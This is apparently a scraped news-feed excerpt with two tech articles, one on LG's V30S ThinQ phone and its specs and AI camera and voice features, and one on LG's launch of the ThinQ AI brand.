This year, LG is making a point to shun the smartphone industry’s annual release cycles, retaining existing models for longer. Indeed, its next flagship that will succeed the LG G6, codenamed Judy, is not being unveiled at MWC. The company is focusing instead on variant models with the same look and feel, upgrading only a handful of aspects. The V30S ThinQ is the first instance of this strategy.

Hardware changes

When LG unveiled the V30, the company called it “the lightest among smartphones in the 6-inch and over category.” LG is meanwhile saying the V30S ThinQ is “still the thinnest and lightest among smartphones with displays of 6 inches or more.”

RAM has been upgraded from 4GB to 6GB. There are still two storage variants, but both have been doubled: 128GB for the V30S ThinQ and 256GB for the V30S+ ThinQ. And yes, there’s still a microSD slot.

Here are the phone’s official specs:

  • Chipset: Qualcomm Snapdragon ™ 835 Mobile Platform
  • Display: 6.0-inch 18:9 QuadHD+ OLED FullVision Display (2880 x 1440 / 538ppi)
  • Memory: 6GB RAM, 128GB ROM (256GB ROM for V30S+ ThinQ), microSD (up to 2TB)
  • Rear cameras: 16MP Standard Angle (F1.6 / 71°) / 13MP Wide Angle (F1.9 / 120°)
  • Front camera: 5MP Wide Angle (F2.2 / 90°)
  • AI: AI CAM, QVoice, QLens, Bright Mode, AI Haptic, Google Assistant
  • Battery: 3300mAh
  • Operating System: Android 8.0 Oreo
  • Size: 151.7 x 75.4 x 7.3mm
  • Weight: 158g
  • Network: LTE-A 4 Band CA
  • Connectivity: Wi-Fi 802.11 a, b, g, n, ac / Bluetooth 5.0 BLE / NFC / USB Type-C 2.0 (3.1 compatible)
  • Colors: New Moroccan Blue (V30S ThinQ) or New Platinum Gray (V30S+ ThinQ)
  • Other: 32-bit Hi-Fi Quad DAC, HDR10, Google Daydream, and UX 6.0+

Just like its predecessor, the phone has IP68 certification (water- and dust-resistant), is MIL-STD 810G compliant, and features voice recognition, face recognition, and a fingerprint sensor. Qualcomm Quick Charge 3.0 Technology and wireless charging are also both included.

Vision AI and Voice AI

ThinQ is LG’s brand for home appliances, consumer electronics, and services that feature artificial intelligence. The V30S ThinQ is therefore the first ThinQ mobile device, which will set the bar for LG’s AI efforts in smartphones. In a nutshell, Vision AI means a smarter camera and Voice AI means more spoken commands.

Vision AI can be broken down into three camera features: AI CAM, QLens, and Bright Mode:

  • AI CAM analyzes subjects in the frame and recommends a shooting mode out of eight categories: portrait, food, pet, landscape, city, flower, sunrise, and sunset. “Each mode enhances the characteristics of the subject taking into account factors such as the viewing angle, color, reflections, lighting, and saturation level.”
  • QLens uses image recognition to scan QR codes and get shopping information or to describe landmarks in the scene. “Perform an image search with QLens to see matching or similar images of food, fashion, and celebrities or detailed information of landmarks such as buildings and statues.”
  • Bright Mode is meant to help with low light photography: “Instead of measuring only ambient light like most smartphone cameras, this AI feature uses algorithms to brighten images by a factor of two for better looking photos without the noise.”

Voice AI meanwhile consists of a feature called QVoice that includes over 50 functions (there are 32 LG-exclusive commands). It works in conjunction with Google Assistant to access popular smartphone functions without having to tap through multiple menu options. LG has been toying with augmenting Google Assistant for a while now, and this is merely the latest evolution.

While the V30S ThinQ ships with these “AI features,” LG is promising to bring (some of) them to the LG G6 and LG V30 via over-the-air updates. Additional LG smartphones could also get future AI upgrades, but LG isn’t committing to any just yet.

]]>
https://briefnews.eu/lg-v30s-thinq-features-hardware-upgrades-vision-ai-and-voice-ai/feed/ 0
LG will release new AI products under the ‘ThinQ’ brand https://briefnews.eu/lg-will-release-new-ai-products-under-the-thinq-brand/ https://briefnews.eu/lg-will-release-new-ai-products-under-the-thinq-brand/#respond Wed, 20 Dec 2017 08:35:05 +0000 http://briefnews.eu/lg-will-release-new-ai-products-under-the-thinq-brand/

LG is getting serious with artificial intelligence and will launch products and services that use AI under a new sub-brand called “ThinQ” starting in 2018. All its upcoming TVs, fridges, even electronic devices and services under the new brand will have features developed with deep learning techniques and will be able to communicate with one another. LG says you can expect its new offerings to use its own AI tech, DeepThinQ, as well as its partners’, but it didn’t elaborate further or listed possible features.

The Korean company already has smart appliances out on the market under the SmartThinQ banner, but it says the new brand is meant to “highlight that LG(‘s) intelligent products.” It said in a statement that “AI is the next frontier in technology and as a leader in home appliances and consumer electronics, [it has] a responsibility to make AI more approachable and less intimidating.” Over the past year, LG has been dropping hints that it plans to put a spotlight on artificial intelligence. At CES 2017, it announced its DeepThinQ deep learning technology. The company also opened an Artificial Intelligence Lab in Seoul to house all its voice-, video- and sensor-related AI research.

Source: LG

Engadget RSS Feed

]]>
https://briefnews.eu/lg-will-release-new-ai-products-under-the-thinq-brand/feed/ 0